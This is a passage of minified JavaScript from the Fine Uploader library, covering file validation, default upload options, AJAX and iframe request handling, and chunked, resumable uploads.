i=this.getName(e);t&&this.setParams(t,e),n&&this.setEndpoint(n,e),this._handleCheckedCallback({name:"onSubmit",callback:qq.bind(this._options.callbacks.onSubmit,this,e,i),onSuccess:qq.bind(this._onSubmitCallbackSuccess,this,e,i),onFailure:qq.bind(this._fileOrBlobRejected,this,e,i),identifier:e})},_uploadFile:function(e){this._handler.upload(e)||this._uploadData.setStatus(e,qq.status.QUEUED)},_uploadStoredFiles:function(){for(var e,t,n=this;this._storedIds.length;)e=this._storedIds.shift(),this._uploadFile(e);t=this.getUploads({status:qq.status.SUBMITTING}).length,t&&(qq.log("Still waiting for "+t+" files to clear submit queue. Will re-parse stored IDs array shortly."),setTimeout(function(){n._uploadStoredFiles()},1e3))},_validateFileOrBlobData:function(e,t){var n=this,i=function(){return e.file instanceof qq.BlobProxy?e.file.referenceBlob:e.file}(),o=t.name,r=t.size,a=this._getButtonId(e.file),s=this._getValidationBase(a),l=new qq.Promise;return l.then(function(){},function(){n._fileOrBlobRejected(e.id,o)}),qq.isFileOrInput(i)&&!this._isAllowedExtension(s.allowedExtensions,o)?(this._itemError("typeError",o,i),l.failure()):0===r?(this._itemError("emptyError",o,i),l.failure()):r>0&&s.sizeLimit&&r>s.sizeLimit?(this._itemError("sizeError",o,i),l.failure()):r>0&&r<s.minSizeLimit?(this._itemError("minSizeError",o,i),l.failure()):(qq.ImageValidation&&qq.supportedFeatures.imagePreviews&&qq.isFile(i)?new qq.ImageValidation(i,qq.bind(n.log,n)).validate(s.image).then(l.success,function(e){n._itemError(e+"ImageError",o,i),l.failure()}):l.success(),l)},_wrapCallbacks:function(){var e,t,n;e=this,t=function(t,n,i){var o;try{return n.apply(e,i)}catch(n){o=n.message||n.toString(),e.log("Caught exception in '"+t+"' callback - "+o,"error")}};for(n in this._options.callbacks)!function(){var i,o;i=n,o=e._options.callbacks[i],e._options.callbacks[i]=function(){return t(i,o,arguments)}}()}}}(),function(){"use strict";qq.FineUploaderBasic=function(e){var t=this;this._options={debug:!1,button:null,multiple:!0,maxConnections:3,disableCancelForFormUploads:!1,autoUpload:!0,request:{customHeaders:{},endpoint:"/server/upload",filenameParam:"qqfilename",forceMultipart:!0,inputName:"qqfile",method:"POST",params:{},paramsInBody:!0,totalFileSizeName:"qqtotalfilesize",uuidName:"qquuid"},validation:{allowedExtensions:[],sizeLimit:0,minSizeLimit:0,itemLimit:0,stopOnFirstInvalidFile:!0,acceptFiles:null,image:{maxHeight:0,maxWidth:0,minHeight:0,minWidth:0}},callbacks:{onSubmit:function(e,t){},onSubmitted:function(e,t){},onComplete:function(e,t,n,i){},onAllComplete:function(e,t){},onCancel:function(e,t){},onUpload:function(e,t){},onUploadChunk:function(e,t,n){},onUploadChunkSuccess:function(e,t,n,i){},onResume:function(e,t,n){},onProgress:function(e,t,n,i){},onTotalProgress:function(e,t){},onError:function(e,t,n,i){},onAutoRetry:function(e,t,n){},onManualRetry:function(e,t){},onValidateBatch:function(e){},onValidate:function(e){},onSubmitDelete:function(e){},onDelete:function(e){},onDeleteComplete:function(e,t,n){},onPasteReceived:function(e){},onStatusChange:function(e,t,n){},onSessionRequestComplete:function(e,t,n){}},messages:{typeError:"{file} has an invalid extension. Valid extension(s): {extensions}.",sizeError:"{file} is too large, maximum file size is {sizeLimit}.",minSizeError:"{file} is too small, minimum file size is {minSizeLimit}.",emptyError:"{file} is empty, please select files again without it.",noFilesError:"No files to upload.",tooManyItemsError:"Too many items ({netItems}) would be uploaded.  Item limit is {itemLimit}.",maxHeightImageError:"Image is too tall.",maxWidthImageError:"Image is too wide.",minHeightImageError:"Image is not tall enough.",minWidthImageError:"Image is not wide enough.",retryFailTooManyItems:"Retry failed - you have reached your file limit.",onLeave:"The files are being uploaded, if you leave now the upload will be canceled.",unsupportedBrowserIos8Safari:"Unrecoverable error - this browser does not permit file uploading of any kind due to serious bugs in iOS8 Safari.  Please use iOS8 Chrome until Apple fixes these issues."},retry:{enableAuto:!1,maxAutoAttempts:3,autoAttemptDelay:5,preventRetryResponseProperty:"preventRetry"},classes:{buttonHover:"qq-upload-button-hover",buttonFocus:"qq-upload-button-focus"},chunking:{enabled:!1,concurrent:{enabled:!1},mandatory:!1,paramNames:{partIndex:"qqpartindex",partByteOffset:"qqpartbyteoffset",chunkSize:"qqchunksize",totalFileSize:"qqtotalfilesize",totalParts:"qqtotalparts"},partSize:2e6,success:{endpoint:null}},resume:{enabled:!1,recordsExpireIn:7,paramNames:{resuming:"qqresume"}},formatFileName:function(e){return e},text:{defaultResponseError:"Upload failure reason unknown",fileInputTitle:"file input",sizeSymbols:["kB","MB","GB","TB","PB","EB"]},deleteFile:{enabled:!1,method:"DELETE",endpoint:"/server/upload",customHeaders:{},params:{}},cors:{expected:!1,sendCredentials:!1,allowXdr:!1},blobs:{defaultName:"misc_data"},paste:{targetElement:null,defaultName:"pasted_image"},camera:{ios:!1,button:null},extraButtons:[],session:{endpoint:null,params:{},customHeaders:{},refreshOnReset:!0},form:{element:"qq-form",autoUpload:!1,interceptSubmit:!0},scaling:{customResizer:null,sendOriginal:!0,orient:!0,defaultType:null,defaultQuality:80,failureText:"Failed to scale",includeExif:!1,sizes:[]},workarounds:{iosEmptyVideos:!0,ios8SafariUploads:!0,ios8BrowserCrash:!1}},qq.extend(this._options,e,!0),this._buttons=[],this._extraButtonSpecs={},this._buttonIdsForFileIds=[],this._wrapCallbacks(),this._disposeSupport=new qq.DisposeSupport,this._storedIds=[],this._autoRetries=[],this._retryTimeouts=[],this._preventRetries=[],this._thumbnailUrls=[],this._netUploadedOrQueued=0,this._netUploaded=0,this._uploadData=this._createUploadDataTracker(),this._initFormSupportAndParams(),this._customHeadersStore=this._createStore(this._options.request.customHeaders),this._deleteFileCustomHeadersStore=this._createStore(this._options.deleteFile.customHeaders),this._deleteFileParamsStore=this._createStore(this._options.deleteFile.params),this._endpointStore=this._createStore(this._options.request.endpoint),this._deleteFileEndpointStore=this._createStore(this._options.deleteFile.endpoint),this._handler=this._createUploadHandler(),this._deleteHandler=qq.DeleteFileAjaxRequester&&this._createDeleteHandler(),this._options.button&&(this._defaultButtonId=this._createUploadButton({element:this._options.button,title:this._options.text.fileInputTitle}).getButtonId()),this._generateExtraButtonSpecs(),this._handleCameraAccess(),this._options.paste.targetElement&&(qq.PasteSupport?this._pasteHandler=this._createPasteHandler():this.log("Paste support module not found","error")),this._preventLeaveInProgress(),this._imageGenerator=qq.ImageGenerator&&new qq.ImageGenerator(qq.bind(this.log,this)),this._refreshSessionData(),this._succeededSinceLastAllComplete=[],this._failedSinceLastAllComplete=[],this._scaler=qq.Scaler&&new qq.Scaler(this._options.scaling,qq.bind(this.log,this))||{},this._scaler.enabled&&(this._customNewFileHandler=qq.bind(this._scaler.handleNewFile,this._scaler)),qq.TotalProgress&&qq.supportedFeatures.progressBar&&(this._totalProgress=new qq.TotalProgress(qq.bind(this._onTotalProgress,this),function(e){var n=t._uploadData.retrieve({id:e});return n&&n.size||0})),this._currentItemLimit=this._options.validation.itemLimit},qq.FineUploaderBasic.prototype=qq.basePublicApi,qq.extend(qq.FineUploaderBasic.prototype,qq.basePrivateApi)}(),qq.AjaxRequester=function(e){"use strict";function t(){return qq.indexOf(["GET","POST","HEAD"],S.method)>=0}function n(e){var t=!1;return qq.each(t,function(e,n){if(qq.indexOf(["Accept","Accept-Language","Content-Language","Content-Type"],n)<0)return t=!0,!1}),t}function i(e){return S.cors.expected&&void 0===e.withCredentials}function o(){var e;return(window.XMLHttpRequest||window.ActiveXObject)&&(e=qq.createXhrInstance(),void 0===e.withCredentials&&(e=new XDomainRequest,e.onload=function(){},e.onerror=function(){},e.ontimeout=function(){},e.onprogress=function(){})),e}function r(e,t){var n=y[e].xhr;return n||(n=t?t:S.cors.expected?o():qq.createXhrInstance(),y[e].xhr=n),n}function a(e){var t,n=qq.indexOf(b,e),i=S.maxConnections;delete y[e],b.splice(n,1),b.length>=i&&n<i&&(t=b[i-1],u(t))}function s(e,t){var n=r(e),o=S.method,s=t===!0;a(e),s?_(o+" request for "+e+" has failed","error"):i(n)||m(n.status)||(s=!0,_(o+" request for "+e+" has failed - response code "+n.status,"error")),S.onComplete(e,n,s)}function l(e){var t,n=y[e].additionalParams,i=S.mandatedParams;return S.paramsStore.get&&(t=S.paramsStore.get(e)),n&&qq.each(n,function(e,n){t=t||{},t[e]=n}),i&&qq.each(i,function(e,n){t=t||{},t[e]=n}),t}function u(e,t){var n,o=r(e,t),a=S.method,s=l(e),u=y[e].payload;return S.onSend(e),n=c(e,s,y[e].additionalQueryParams),i(o)?(o.onload=h(e),o.onerror=f(e)):o.onreadystatechange=d(e),p(e),o.open(a,n,!0),S.cors.expected&&S.cors.sendCredentials&&!i(o)&&(o.withCredentials=!0),q(e),_("Sending "+a+" request for "+e),u?o.send(u):v||!s?o.send():s&&S.contentType&&S.contentType.toLowerCase().indexOf("application/x-www-form-urlencoded")>=0?o.send(qq.obj2url(s,"")):s&&S.contentType&&S.contentType.toLowerCase().indexOf("application/json")>=0?o.send(JSON.stringify(s)):o.send(s),o}function c(e,t,n){var i=S.endpointStore.get(e),o=y[e].addToPath;return void 0!=o&&(i+="/"+o),v&&t&&(i=qq.obj2url(t,i)),n&&(i=qq.obj2url(n,i)),i}function d(e){return function(){4===r(e).readyState&&s(e)}}function p(e){var t=S.onProgress;t&&(r(e).upload.onprogress=function(n){n.lengthComputable&&t(e,n.loaded,n.total)})}function h(e){return function(){s(e)}}function f(e){return function(){s(e,!0)}}function q(e){var o=r(e),a=S.customHeaders,s=y[e].additionalHeaders||{},l=S.method,u={};i(o)||(S.acceptHeader&&o.setRequestHeader("Accept",S.acceptHeader),S.allowXRequestedWithAndCacheControl&&(S.cors.expected&&t()&&!n(a)||(o.setRequestHeader("X-Requested-With","XMLHttpRequest"),o.setRequestHeader("Cache-Control","no-cache"))),!S.contentType||"POST"!==l&&"PUT"!==l||o.setRequestHeader("Content-Type",S.contentType),qq.extend(u,qq.isFunction(a)?a(e):a),qq.extend(u,s),qq.each(u,function(e,t){o.setRequestHeader(e,t)}))}function m(e){return qq.indexOf(S.successfulResponseCodes[S.method],e)>=0}function g(e,t,n,i,o,r,a){y[e]={addToPath:n,additionalParams:i,additionalQueryParams:o,additionalHeaders:r,payload:a};var s=b.push(e);if(s<=S.maxConnections)return u(e,t)}var _,v,b=[],y={},S={acceptHeader:null,validMethods:["PATCH","POST","PUT"],method:"POST",contentType:"application/x-www-form-urlencoded",maxConnections:3,customHeaders:{},endpointStore:{},paramsStore:{},mandatedParams:{},allowXRequestedWithAndCacheControl:!0,successfulResponseCodes:{DELETE:[200,202,204],PATCH:[200,201,202,203,204],POST:[200,201,202,203,204],PUT:[200,201,202,203,204],GET:[200]},cors:{expected:!1,sendCredentials:!1},log:function(e,t){},onSend:function(e){},onComplete:function(e,t,n){},onProgress:null};if(qq.extend(S,e),_=S.log,qq.indexOf(S.validMethods,S.method)<0)throw new Error("'"+S.method+"' is not a supported method for this type of request!");v="GET"===S.method||"DELETE"===S.method,qq.extend(this,{initTransport:function(e){var t,n,i,o,r,a;return{withPath:function(e){return t=e,this},withParams:function(e){return n=e,this},withQueryParams:function(e){return a=e,this},withHeaders:function(e){return i=e,this},withPayload:function(e){return o=e,this},withCacheBuster:function(){return r=!0,this},send:function(s){return r&&qq.indexOf(["GET","DELETE"],S.method)>=0&&(n.qqtimestamp=(new Date).getTime()),g(e,s,t,n,a,i,o)}}},canceled:function(e){a(e)}})},qq.UploadHandler=function(e){"use strict";var t=e.proxy,n={},i=t.onCancel,o=t.getName;qq.extend(this,{add:function(e,t){n[e]=t,n[e].temp={}},cancel:function(e){var t=this,r=new qq.Promise,a=i(e,o(e),r);a.then(function(){t.isValid(e)&&(n[e].canceled=!0,t.expunge(e)),r.success()})},expunge:function(e){delete n[e]},getThirdPartyFileId:function(e){return n[e].key},isValid:function(e){return void 0!==n[e]},reset:function(){n={}},_getFileState:function(e){return n[e]},_setThirdPartyFileId:function(e,t){n[e].key=t},_wasCanceled:function(e){return!!n[e].canceled}})},qq.UploadHandlerController=function(e,t){"use strict";var n,i,o,r=this,a=!1,s=!1,l={paramsStore:{},maxConnections:3,chunking:{enabled:!1,multiple:{enabled:!1}},log:function(e,t){},onProgress:function(e,t,n,i){},onComplete:function(e,t,n,i){},onCancel:function(e,t){},onUploadPrep:function(e){},onUpload:function(e,t){},onUploadChunk:function(e,t,n){},onUploadChunkSuccess:function(e,t,n,i){},onAutoRetry:function(e,t,n,i){},onResume:function(e,t,n){},onUuidChanged:function(e,t){},getName:function(e){},setSize:function(e,t){},isQueued:function(e){},getIdsInProxyGroup:function(e){},getIdsInBatch:function(e){}},u={done:function(e,t,n,i){var r=o._getChunkData(e,t);o._getFileState(e).attemptingResume=!1,delete o._getFileState(e).temp.chunkProgress[t],o._getFileState(e).loaded+=r.size,l.onUploadChunkSuccess(e,o._getChunkDataForCallback(r),n,i)},finalize:function(e){var t=l.getSize(e),n=l.getName(e);i("All chunks have been uploaded for "+e+" - finalizing...."),o.finalizeChunks(e).then(function(r,a){i("Finalize successful for "+e);var s=p.normalizeResponse(r,!0);l.onProgress(e,n,t,t),o._maybeDeletePersistedChunkData(e),p.cleanup(e,s,a)},function(t,o){var r=p.normalizeResponse(t,!1);i("Problem finalizing chunks for file ID "+e+" - "+r.error,"error"),r.reset&&u.reset(e),l.onAutoRetry(e,n,r,o)||p.cleanup(e,r,o)})},hasMoreParts:function(e){return!!o._getFileState(e).chunking.remaining.length},nextPart:function(e){var t=o._getFileState(e).chunking.remaining.shift();return t>=o._getTotalChunks(e)&&(t=null),t},reset:function(e){i("Server or callback has ordered chunking effort to be restarted on next attempt for item ID "+e,"error"),o._maybeDeletePersistedChunkData(e),o.reevaluateChunking(e),o._getFileState(e).loaded=0},sendNext:function(e){var t=l.getSize(e),n=l.getName(e),r=u.nextPart(e),a=o._getChunkData(e,r),d=o._getFileState(e).attemptingResume,h=o._getFileState(e).chunking.inProgress||[];null==o._getFileState(e).loaded&&(o._getFileState(e).loaded=0),d&&l.onResume(e,n,a)===!1&&(u.reset(e),r=u.nextPart(e),a=o._getChunkData(e,r),d=!1),null==r&&0===h.length?u.finalize(e):(i(qq.format("Sending chunked upload request for item {}.{}, bytes {}-{} of {}.",e,r,a.start+1,a.end,t)),l.onUploadChunk(e,n,o._getChunkDataForCallback(a)),h.push(r),o._getFileState(e).chunking.inProgress=h,s&&c.open(e,r),s&&c.available()&&o._getFileState(e).chunking.remaining.length&&u.sendNext(e),o.uploadChunk(e,r,d).then(function(t,n){i("Chunked upload request succeeded for "+e+", chunk "+r),o.clearCachedChunk(e,r);var a=o._getFileState(e).chunking.inProgress||[],s=p.normalizeResponse(t,!0),l=qq.indexOf(a,r);i(qq.format("Chunk {} for file {} uploaded successfully.",r,e)),u.done(e,r,s,n),l>=0&&a.splice(l,1),o._maybePersistChunkedState(e),u.hasMoreParts(e)||0!==a.length?u.hasMoreParts(e)?u.sendNext(e):i(qq.format("File ID {} has no more chunks to send and these chunk indexes are still marked as in-progress: {}",e,JSON.stringify(a))):u.finalize(e)},function(t,a){i("Chunked upload request failed for "+e+", chunk "+r),o.clearCachedChunk(e,r);var d,h=p.normalizeResponse(t,!1);h.reset?u.reset(e):(d=qq.indexOf(o._getFileState(e).chunking.inProgress,r),d>=0&&(o._getFileState(e).chunking.inProgress.splice(d,1),o._getFileState(e).chunking.remaining.unshift(r))),o._getFileState(e).temp.ignoreFailure||(s&&(o._getFileState(e).temp.ignoreFailure=!0,i(qq.format("Going to attempt to abort these chunks: {}. These are currently in-progress: {}.",JSON.stringify(Object.keys(o._getXhrs(e))),JSON.stringify(o._getFileState(e).chunking.inProgress))),qq.each(o._getXhrs(e),function(t,n){i(qq.format("Attempting to abort file {}.{}. XHR readyState {}. ",e,t,n.readyState)),n.abort(),n._cancelled=!0}),o.moveInProgressToRemaining(e),c.free(e,!0)),l.onAutoRetry(e,n,h,a)||p.cleanup(e,h,a))}).done(function(){o.clearXhr(e,r)}))}},c={_open:[],_openChunks:{},_waiting:[],available:function(){var e=l.maxConnections,t=0,n=0;return qq.each(c._openChunks,function(e,i){t++,n+=i.length}),e-(c._open.length-t+n)},free:function(e,t){var n,r=!t,a=qq.indexOf(c._waiting,e),s=qq.indexOf(c._open,e);delete c._openChunks[e],p.getProxyOrBlob(e)instanceof qq.BlobProxy&&(i("Generated blob upload has ended for "+e+", disposing generated blob."),delete o._getFileState(e).file),a>=0?c._waiting.splice(a,1):r&&s>=0&&(c._open.splice(s,1),n=c._waiting.shift(),n>=0&&(c._open.push(n),p.start(n)))},getWaitingOrConnected:function(){var e=[];return qq.each(c._openChunks,function(t,n){n&&n.length&&e.push(parseInt(t))}),qq.each(c._open,function(t,n){c._openChunks[n]||e.push(parseInt(n))}),e=e.concat(c._waiting)},isUsingConnection:function(e){return qq.indexOf(c._open,e)>=0},open:function(e,t){return null==t&&c._waiting.push(e),!!c.available()&&(null==t?(c._waiting.pop(),c._open.push(e)):!function(){var n=c._openChunks[e]||[];n.push(t),c._openChunks[e]=n}(),!0)},reset:function(){c._waiting=[],c._open=[]}},d={send:function(e,t){o._getFileState(e).loaded=0,i("Sending simple upload request for "+e),o.uploadFile(e).then(function(n,o){i("Simple upload request succeeded for "+e);var r=p.normalizeResponse(n,!0),a=l.getSize(e);l.onProgress(e,t,a,a),p.maybeNewUuid(e,r),p.cleanup(e,r,o)},function(n,o){i("Simple upload request failed for "+e);var r=p.normalizeResponse(n,!1);l.onAutoRetry(e,t,r,o)||p.cleanup(e,r,o)})}},p={cancel:function(e){i("Cancelling "+e),l.paramsStore.remove(e),c.free(e)},cleanup:function(e,t,n){var i=l.getName(e);l.onComplete(e,i,t,n),o._getFileState(e)&&o._clearXhrs&&o._clearXhrs(e),c.free(e)},getProxyOrBlob:function(e){return o.getProxy&&o.getProxy(e)||o.getFile&&o.getFile(e)},initHandler:function(){var e=t?qq[t]:qq.traditional,n=qq.supportedFeatures.ajaxUploading?"Xhr":"Form";o=new e[n+"UploadHandler"](l,{getDataByUuid:l.getDataByUuid,getName:l.getName,getSize:l.getSize,getUuid:l.getUuid,log:i,onCancel:l.onCancel,onProgress:l.onProgress,onUuidChanged:l.onUuidChanged}),o._removeExpiredChunkingRecords&&o._removeExpiredChunkingRecords()},isDeferredEligibleForUpload:function(e){return l.isQueued(e)},maybeDefer:function(e,t){return t&&!o.getFile(e)&&t instanceof qq.BlobProxy?(l.onUploadPrep(e),i("Attempting to generate a blob on-demand for "+e),t.create().then(function(t){i("Generated an on-demand blob for "+e),o.updateBlob(e,t),
l.setSize(e,t.size),o.reevaluateChunking(e),p.maybeSendDeferredFiles(e)},function(t){var o={};t&&(o.error=t),i(qq.format("Failed to generate blob for ID {}.  Error message: {}.",e,t),"error"),l.onComplete(e,l.getName(e),qq.extend(o,n),null),p.maybeSendDeferredFiles(e),c.free(e)}),!1):p.maybeSendDeferredFiles(e)},maybeSendDeferredFiles:function(e){var t=l.getIdsInProxyGroup(e),n=!1;return t&&t.length?(i("Maybe ready to upload proxy group file "+e),qq.each(t,function(t,i){if(p.isDeferredEligibleForUpload(i)&&o.getFile(i))n=i===e,p.now(i);else if(p.isDeferredEligibleForUpload(i))return!1})):(n=!0,p.now(e)),n},maybeNewUuid:function(e,t){void 0!==t.newUuid&&l.onUuidChanged(e,t.newUuid)},normalizeResponse:function(e,t){var n=e;return qq.isObject(e)||(n={},qq.isString(e)&&!t&&(n.error=e)),n.success=t,n},now:function(e){var t=l.getName(e);if(!r.isValid(e))throw new qq.Error(e+" is not a valid file ID to upload!");l.onUpload(e,t),a&&o._shouldChunkThisFile(e)?u.sendNext(e):d.send(e,t)},start:function(e){var t=p.getProxyOrBlob(e);return t?p.maybeDefer(e,t):(p.now(e),!0)}};qq.extend(this,{add:function(e,t){o.add.apply(this,arguments)},upload:function(e){return!!c.open(e)&&p.start(e)},retry:function(e){return s&&(o._getFileState(e).temp.ignoreFailure=!1),c.isUsingConnection(e)?p.start(e):r.upload(e)},cancel:function(e){var t=o.cancel(e);qq.isGenericPromise(t)?t.then(function(){p.cancel(e)}):t!==!1&&p.cancel(e)},cancelAll:function(){var e,t=c.getWaitingOrConnected();if(t.length)for(e=t.length-1;e>=0;e--)r.cancel(t[e]);c.reset()},getFile:function(e){return o.getProxy&&o.getProxy(e)?o.getProxy(e).referenceBlob:o.getFile&&o.getFile(e)},isProxied:function(e){return!(!o.getProxy||!o.getProxy(e))},getInput:function(e){if(o.getInput)return o.getInput(e)},reset:function(){i("Resetting upload handler"),r.cancelAll(),c.reset(),o.reset()},expunge:function(e){if(r.isValid(e))return o.expunge(e)},isValid:function(e){return o.isValid(e)},getResumableFilesData:function(){return o.getResumableFilesData?o.getResumableFilesData():[]},getThirdPartyFileId:function(e){if(r.isValid(e))return o.getThirdPartyFileId(e)},pause:function(e){return!!(r.isResumable(e)&&o.pause&&r.isValid(e)&&o.pause(e))&&(c.free(e),o.moveInProgressToRemaining(e),!0)},isResumable:function(e){return!!o.isResumable&&o.isResumable(e)}}),qq.extend(l,e),i=l.log,a=l.chunking.enabled&&qq.supportedFeatures.chunking,s=a&&l.chunking.concurrent.enabled,n=function(){var e={};return e[l.preventRetryParam]=!0,e}(),p.initHandler()},qq.WindowReceiveMessage=function(e){"use strict";var t={log:function(e,t){}},n={};qq.extend(t,e),qq.extend(this,{receiveMessage:function(e,t){var i=function(e){t(e.data)};window.postMessage?n[e]=qq(window).attach("message",i):log("iframe message passing not supported in this browser!","error")},stopReceivingMessages:function(e){if(window.postMessage){var t=n[e];t&&t()}}})},qq.FormUploadHandler=function(e){"use strict";function t(e){delete c[e],p&&(clearTimeout(d[e]),delete d[e],m.stopReceivingMessages(e));var t=document.getElementById(a._getIframeName(e));t&&(t.setAttribute("src","javascript:false;"),qq(t).remove())}function n(e){return e.split("_")[0]}function i(e){var t=qq.toElement("<iframe src='javascript:false;' name='"+e+"' />");return t.setAttribute("id",e),t.style.display="none",document.body.appendChild(t),t}function o(e,t){var i=e.id,o=n(i),r=f(o);u[r]=t,c[o]=qq(e).attach("load",function(){a.getInput(o)&&(q("Received iframe load event for CORS upload request (iframe name "+i+")"),d[i]=setTimeout(function(){var e="No valid message received from loaded iframe for iframe name "+i;q(e,"error"),t({error:e})},1e3))}),m.receiveMessage(i,function(e){q("Received the following window message: '"+e+"'");var t,o=(n(i),a._parseJsonResponse(e)),r=o.uuid;r&&u[r]?(q("Handling response for iframe name "+i),clearTimeout(d[i]),delete d[i],a._detachLoadEvent(i),t=u[r],delete u[r],m.stopReceivingMessages(i),t(o)):r||q("'"+e+"' does not contain a UUID - ignoring.")})}var r=e.options,a=this,s=e.proxy,l=qq.getUniqueId(),u={},c={},d={},p=r.isCors,h=r.inputName,f=s.getUuid,q=s.log,m=new qq.WindowReceiveMessage({log:q});qq.extend(this,new qq.UploadHandler(e)),qq.override(this,function(e){return{add:function(t,n){e.add(t,{input:n}),n.setAttribute("name",h),n.parentNode&&qq(n).remove()},expunge:function(n){t(n),e.expunge(n)},isValid:function(t){return e.isValid(t)&&void 0!==a._getFileState(t).input}}}),qq.extend(this,{getInput:function(e){return a._getFileState(e).input},_attachLoadEvent:function(e,t){var n;p?o(e,t):c[e.id]=qq(e).attach("load",function(){if(q("Received response for "+e.id),e.parentNode){try{if(e.contentDocument&&e.contentDocument.body&&"false"==e.contentDocument.body.innerHTML)return}catch(e){q("Error when attempting to access iframe during handling of upload response ("+e.message+")","error"),n={success:!1}}t(n)}})},_createIframe:function(e){var t=a._getIframeName(e);return i(t)},_detachLoadEvent:function(e){void 0!==c[e]&&(c[e](),delete c[e])},_getIframeName:function(e){return e+"_"+l},_initFormForUpload:function(e){var t=e.method,n=e.endpoint,i=e.params,o=e.paramsInBody,r=e.targetName,a=qq.toElement("<form method='"+t+"' enctype='multipart/form-data'></form>"),s=n;return o?qq.obj2Inputs(i,a):s=qq.obj2url(i,n),a.setAttribute("action",s),a.setAttribute("target",r),a.style.display="none",document.body.appendChild(a),a},_parseJsonResponse:function(e){var t={};try{t=qq.parseJson(e)}catch(e){q("Error when attempting to parse iframe upload response ("+e.message+")","error")}return t}})},qq.XhrUploadHandler=function(e){"use strict";function t(e){qq.each(n._getXhrs(e),function(t,i){var o=n._getAjaxRequester(e,t);i.onreadystatechange=null,i.upload.onprogress=null,i.abort(),o&&o.canceled&&o.canceled(e)})}var n=this,i=e.options.namespace,o=e.proxy,r=e.options.chunking,a=e.options.resume,s=r&&e.options.chunking.enabled&&qq.supportedFeatures.chunking,l=a&&e.options.resume.enabled&&s&&qq.supportedFeatures.resume,u=o.getName,c=o.getSize,d=o.getUuid,p=o.getEndpoint,h=o.getDataByUuid,f=o.onUuidChanged,q=o.onProgress,m=o.log;qq.extend(this,new qq.UploadHandler(e)),qq.override(this,function(e){return{add:function(t,i){if(qq.isFile(i)||qq.isBlob(i))e.add(t,{file:i});else{if(!(i instanceof qq.BlobProxy))throw new Error("Passed obj is not a File, Blob, or proxy");e.add(t,{proxy:i})}n._initTempState(t),l&&n._maybePrepareForResume(t)},expunge:function(i){t(i),n._maybeDeletePersistedChunkData(i),n._clearXhrs(i),e.expunge(i)}}}),qq.extend(this,{clearCachedChunk:function(e,t){delete n._getFileState(e).temp.cachedChunks[t]},clearXhr:function(e,t){var i=n._getFileState(e).temp;i.xhrs&&delete i.xhrs[t],i.ajaxRequesters&&delete i.ajaxRequesters[t]},finalizeChunks:function(e,t){var i=n._getTotalChunks(e)-1,o=n._getXhr(e,i);return t?(new qq.Promise).success(t(o),o):(new qq.Promise).success({},o)},getFile:function(e){return n.isValid(e)&&n._getFileState(e).file},getProxy:function(e){return n.isValid(e)&&n._getFileState(e).proxy},getResumableFilesData:function(){var e=[];return n._iterateResumeRecords(function(t,i){n.moveInProgressToRemaining(null,i.chunking.inProgress,i.chunking.remaining);var o={name:i.name,remaining:i.chunking.remaining,size:i.size,uuid:i.uuid};i.key&&(o.key=i.key),e.push(o)}),e},isResumable:function(e){return!!r&&n.isValid(e)&&!n._getFileState(e).notResumable},moveInProgressToRemaining:function(e,t,i){var o=t||n._getFileState(e).chunking.inProgress,r=i||n._getFileState(e).chunking.remaining;o&&(m(qq.format("Moving these chunks from in-progress {}, to remaining.",JSON.stringify(o))),o.reverse(),qq.each(o,function(e,t){r.unshift(t)}),o.length=0)},pause:function(e){if(n.isValid(e))return m(qq.format("Aborting XHR upload for {} '{}' due to pause instruction.",e,u(e))),n._getFileState(e).paused=!0,t(e),!0},reevaluateChunking:function(e){if(r&&n.isValid(e)){var t,i,o=n._getFileState(e);if(delete o.chunking,o.chunking={},t=n._getTotalChunks(e),t>1||r.mandatory){for(o.chunking.enabled=!0,o.chunking.parts=t,o.chunking.remaining=[],i=0;i<t;i++)o.chunking.remaining.push(i);n._initTempState(e)}else o.chunking.enabled=!1}},updateBlob:function(e,t){n.isValid(e)&&(n._getFileState(e).file=t)},_clearXhrs:function(e){var t=n._getFileState(e).temp;qq.each(t.ajaxRequesters,function(e){delete t.ajaxRequesters[e]}),qq.each(t.xhrs,function(e){delete t.xhrs[e]})},_createXhr:function(e,t){return n._registerXhr(e,t,qq.createXhrInstance())},_getAjaxRequester:function(e,t){var i=null==t?-1:t;return n._getFileState(e).temp.ajaxRequesters[i]},_getChunkData:function(e,t){var i=r.partSize,o=c(e),a=n.getFile(e),s=i*t,l=s+i>=o?o:s+i,u=n._getTotalChunks(e),d=this._getFileState(e).temp.cachedChunks,p=d[t]||qq.sliceBlob(a,s,l);return d[t]=p,{part:t,start:s,end:l,count:u,blob:p,size:l-s}},_getChunkDataForCallback:function(e){return{partIndex:e.part,startByte:e.start+1,endByte:e.end,totalParts:e.count}},_getLocalStorageId:function(e){var t="5.0",n=u(e),o=c(e),a=r.partSize,s=p(e);return qq.format("qq{}resume{}-{}-{}-{}-{}",i,t,n,o,a,s)},_getMimeType:function(e){return n.getFile(e).type},_getPersistableData:function(e){return n._getFileState(e).chunking},_getTotalChunks:function(e){if(r){var t=c(e),n=r.partSize;return Math.ceil(t/n)}},_getXhr:function(e,t){var i=null==t?-1:t;return n._getFileState(e).temp.xhrs[i]},_getXhrs:function(e){return n._getFileState(e).temp.xhrs},_iterateResumeRecords:function(e){l&&qq.each(localStorage,function(t,n){if(0===t.indexOf(qq.format("qq{}resume",i))){var o=JSON.parse(n);e(t,o)}})},_initTempState:function(e){n._getFileState(e).temp={ajaxRequesters:{},chunkProgress:{},xhrs:{},cachedChunks:{}}},_markNotResumable:function(e){n._getFileState(e).notResumable=!0},_maybeDeletePersistedChunkData:function(e){var t;return!!(l&&n.isResumable(e)&&(t=n._getLocalStorageId(e),t&&localStorage.getItem(t)))&&(localStorage.removeItem(t),!0)},_maybePrepareForResume:function(e){var t,i,o=n._getFileState(e);l&&void 0===o.key&&(t=n._getLocalStorageId(e),i=localStorage.getItem(t),i&&(i=JSON.parse(i),h(i.uuid)?n._markNotResumable(e):(m(qq.format("Identified file with ID {} and name of {} as resumable.",e,u(e))),f(e,i.uuid),o.key=i.key,o.chunking=i.chunking,o.loaded=i.loaded,o.attemptingResume=!0,n.moveInProgressToRemaining(e))))},_maybePersistChunkedState:function(e){var t,i,o=n._getFileState(e);if(l&&n.isResumable(e)){t=n._getLocalStorageId(e),i={name:u(e),size:c(e),uuid:d(e),key:o.key,chunking:o.chunking,loaded:o.loaded,lastUpdated:Date.now()};try{localStorage.setItem(t,JSON.stringify(i))}catch(t){m(qq.format("Unable to save resume data for '{}' due to error: '{}'.",e,t.toString()),"warn")}}},_registerProgressHandler:function(e,t,i){var o=n._getXhr(e,t),r=u(e),a={simple:function(t,n){var i=c(e);t===n?q(e,r,i,i):q(e,r,t>=i?i-1:t,i)},chunked:function(o,a){var 